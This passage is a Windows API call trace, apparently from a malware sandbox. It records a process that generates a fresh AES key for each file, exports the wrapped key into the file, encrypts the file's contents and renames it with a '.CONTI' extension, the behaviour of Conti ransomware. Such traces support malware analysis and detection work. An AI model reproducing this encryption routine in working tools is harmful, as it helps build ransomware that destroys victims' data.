	[0112.259] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x283, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x290) returned 1
	[0112.259] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.259] WriteFile (in: hFile=0x3f8, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x290, lpOverlapped=0x0) returned 1
	[0112.259] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.259] WriteFile (in: hFile=0x3f8, lpBuffer=0x1814c08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1814c08*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0112.259] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.259] CloseHandle (hObject=0x3f8) returned 1
	[0112.259] GetProcessHeap () returned 0x1720000
	[0112.259] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.259] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml"
	[0112.259] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.259] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\512__Connections_Cellular_Ancel (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\512__connections_cellular_ancel (uruguay)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.260] GetProcessHeap () returned 0x1720000
	[0112.260] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.260] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0112.260] GetProcessHeap () returned 0x1720000
	[0112.260] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809380 | out: hHeap=0x1720000) returned 1
	[0112.260] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0112.260] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x1811e70 | out: phKey=0x1811e70*=0x17c84f0) returned 1
	[0112.260] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1811e74, pdwDataLen=0x4abfcac | out: pbData=0x1811e74*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0112.261] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.261] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.261] GetLastError () returned 0x0
	[0112.261] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=701) returned 1
	[0112.261] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bd
	[0112.261] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.261] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.262] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.262] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.262] WriteFile (in: hFile=0x3f8, lpBuffer=0x1811e74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x1811e74*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.268] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.268] ReadFile (in: hFile=0x3f8, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2bd, lpOverlapped=0x0) returned 1
	[0112.268] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2bd, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2c0) returned 1
	[0112.268] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.268] WriteFile (in: hFile=0x3f8, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2c0, lpOverlapped=0x0) returned 1
	[0112.269] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.269] WriteFile (in: hFile=0x3f8, lpBuffer=0x1811e68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1811e68*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0112.269] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.269] CloseHandle (hObject=0x3f8) returned 1
	[0112.269] GetProcessHeap () returned 0x1720000
	[0112.269] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.269] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml"
	[0112.269] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.269] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\513__Connections_Cellular_Claro (Uruguay)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\513__connections_cellular_claro (uruguay)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.270] GetProcessHeap () returned 0x1720000
	[0112.270] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.270] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0112.270] GetProcessHeap () returned 0x1720000
	[0112.270] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180a428 | out: hHeap=0x1720000) returned 1
	[0112.270] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0112.270] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x1812790 | out: phKey=0x1812790*=0x17c8330) returned 1
	[0112.270] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1812794, pdwDataLen=0x4abfcac | out: pbData=0x1812794*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0112.271] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0112.271] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.271] GetLastError () returned 0x0
	[0112.271] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=471) returned 1
	[0112.271] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d7
	[0112.271] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.271] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.275] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.275] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.275] WriteFile (in: hFile=0x3f8, lpBuffer=0x1812794*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x1812794*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.279] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.279] ReadFile (in: hFile=0x3f8, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1d7, lpOverlapped=0x0) returned 1
	[0112.279] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1d7, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1e0) returned 1
	[0112.279] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.279] WriteFile (in: hFile=0x3f8, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.279] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.279] WriteFile (in: hFile=0x3f8, lpBuffer=0x1812788*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x1812788*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0112.279] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.280] CloseHandle (hObject=0x3f8) returned 1
	[0112.280] GetProcessHeap () returned 0x1720000
	[0112.280] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.280] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0112.280] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0112.280] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\515__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\515__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0112.281] GetProcessHeap () returned 0x1720000
	[0112.281] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.281] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0112.281] GetProcessHeap () returned 0x1720000
	[0112.281] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819358 | out: hHeap=0x1720000) returned 1
	[0112.281] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0112.281] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x18129d8 | out: phKey=0x18129d8*=0x17c8330) returned 1
	[0112.281] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18129dc, pdwDataLen=0x4abfcac | out: pbData=0x18129dc*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0112.282] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.282] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.282] GetLastError () returned 0x0
	[0112.282] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=660) returned 1
	[0112.282] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x294
	[0112.282] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.282] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.282] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.282] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.282] WriteFile (in: hFile=0x3f8, lpBuffer=0x18129dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x18129dc*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.289] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.289] ReadFile (in: hFile=0x3f8, lpBuffer=0xd540000, nNumberOfBytesToRead=0x294, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x294, lpOverlapped=0x0) returned 1
	[0112.289] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x294, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2a0) returned 1
	[0112.289] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.289] WriteFile (in: hFile=0x3f8, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2a0, lpOverlapped=0x0) returned 1
	[0112.289] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.289] WriteFile (in: hFile=0x3f8, lpBuffer=0x18129d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x18129d0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0112.289] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.290] CloseHandle (hObject=0x3f8) returned 1
	[0112.290] GetProcessHeap () returned 0x1720000
	[0112.290] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.290] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml"
	[0112.290] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.290] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\517__Connections_Cellular_Telefonica (Venezuela)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\517__connections_cellular_telefonica (venezuela)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.290] GetProcessHeap () returned 0x1720000
	[0112.290] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.290] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0112.290] GetProcessHeap () returned 0x1720000
	[0112.290] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ae68 | out: hHeap=0x1720000) returned 1
	[0112.290] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0112.291] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x1811c28 | out: phKey=0x1811c28*=0x17c85b0) returned 1
	[0112.291] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1811c2c, pdwDataLen=0x4abfcac | out: pbData=0x1811c2c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
